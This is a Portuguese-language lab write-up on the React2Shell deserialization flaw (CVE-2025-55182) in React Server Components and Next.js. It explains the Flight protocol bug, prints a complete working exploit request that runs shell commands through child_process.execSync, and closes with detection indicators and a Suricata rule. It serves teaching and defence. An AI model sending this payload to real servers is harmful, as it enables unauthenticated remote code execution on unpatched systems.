
React2Shell CVE-2025-55182: unauthenticated unsafe deserialization in React Server Components leading to reliable remote code execution via the Flight protocol.
Dificuldade: Intermediário → Avançado
Categoria: Exploração Web | Desserialização | RCE

CVE-2025-55182, apelidado de React2Shell, é uma daquelas vulnerabilidades que instantaneamente deixa os defensores nervosos 😬. Descoberta em dezembro de 2025, carrega uma pontuação CVSS de 10.0, o que já te diz que não é um bug de caso extremo.
Em seu núcleo, essa vulnerabilidade afeta React Server Components (RSC) e frameworks construídos sobre eles — notavelmente Next.js. A parte assustadora?
👉 Execução Remota de Código (RCE) não autenticada 👉 Única requisição HTTP manipulada 👉 Configurações padrão são vulneráveis
Sem login. Sem permissões especiais. Apenas uma requisição bem formada.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackEsta sala nos guia por por que esse bug existe, como é explorado e o que os defensores podem fazer sobre isso.
Flag: Nenhuma resposta necessária.
Antes da exploração, precisamos de clareza na arquitetura.
React Server Components (introduzidos no React 19) permitem que partes de um aplicativo React sejam executadas no servidor, não no navegador. Isso significa:
A comunicação entre cliente e servidor acontece através do protocolo React Flight. Este protocolo serializa dados no cliente e os desserializa no servidor.
Ele usa marcadores especiais:
$@ → Referência de chunk
$B → Referência de Blob
Caminhos de propriedades via notação de dois pontos Exemplo:
$1:constructor:constructor
⚠️ E essa lógica de serialização é exatamente onde as coisas dão errado.
Questão: Qual símbolo denota uma referência Blob?
✅ Resposta: $B
No coração do CVE-2025-55182 está uma falha clássica de desserialização insegura.
Vamos olhar o padrão vulnerável (não corte 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... lógica adicional ...
return moduleExports[metadata[2]]; // LINHA VULNERÁVEL
}
Em JavaScript, a notação de colchetes:
obj[someKey]
não limita o acesso apenas a propriedades exportadas. Ela percorre toda a cadeia de protótipos.
Agora vem a percepção crítica 👀:
.constructorconstructor aponta para o construtor FunctionFunction("código") = execução arbitrária de JSComo o protocolo Flight permite caminhos separados por dois pontos, um atacante pode enviar:
$1:constructor:constructor
Que resolve para:
.constructor.constructor novamente → FunctionNeste ponto, game over 🎮.
Flag: Nenhuma resposta necessária.
Agora vamos detalhar o PoC do maple3142, passo a passo.
O atacante envia uma requisição multipart contendo um objeto Chunk falso:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Este objeto imita a estrutura interna de Chunk do React.
Ao apontar then para Chunk.prototype.then, o React é enganado para aguardar lógica controlada pelo atacante.
O marcador $B1337 aciona o manipulador de desserialização Blob, que internamente executa:
response._formData.get(response._prefix + id)
Mas nós envenenamos:
_formData.get → Function_prefix → JS maliciosoExecução resultante:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Execução arbitrária de JavaScript alcançada.
O PoC executa:
process.mainModule
.require('child_process')
.execSync('xcalc')
Isso pode ser trivialmente substituído por:
Flag: Nenhuma resposta necessária.
Aqui está a requisição de exploit completa (literal, não cortada):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…corpo multipart continua…)
Next-Action aciona Server Actionsmultipart/form-data é obrigatório$@0 cria uma auto-referência$B1337 aciona lógica Blobconstructor:constructor leva a FunctionIsso não é acidental — é uma cadeia precisamente projetada.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
Outros: React Router (RSC), Waku, Redwood SDK
📊 Pesquisa da Wiz: 39% dos ambientes em nuvem expostos 🌐 Shodan: 571k+ servidores React, 444k+ Next.js
Isso é… muito 😶
Primeiro no Repeater, faça Nova Requisição HTTP e selecione Target.

Usando Burp Suite Repeater, enviamos o payload:
execSync('id')

E depois:
execSync('whoami')

User: ubuntu
Flag:
{React-19.2.0}
Exploração limpa, confiável e repetível 💀
Boas notícias para defensores 👮♂️ — a exploração deixa impressões digitais.
Next-Actionmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"Estes nunca devem aparecer no tráfego normal de usuário.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Perfeito para:

React2Shell é um exemplo clássico de:
Uma vez que versões corrigidas são instaladas e as recomendações do npm audit são seguidas, o exploit morre completamente ✅.
⚠️ Nunca teste isso fora de laboratórios autorizados.
🔥 Sempre corrija rapidamente.
🧠 Sempre entenda por que um bug existe — não apenas como explorá-lo.
Se você gostou deste write-up ou quer se manter conectado com meu trabalho em cibersegurança, CTFs e VAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Feliz hacking — com responsabilidade 🗿🚀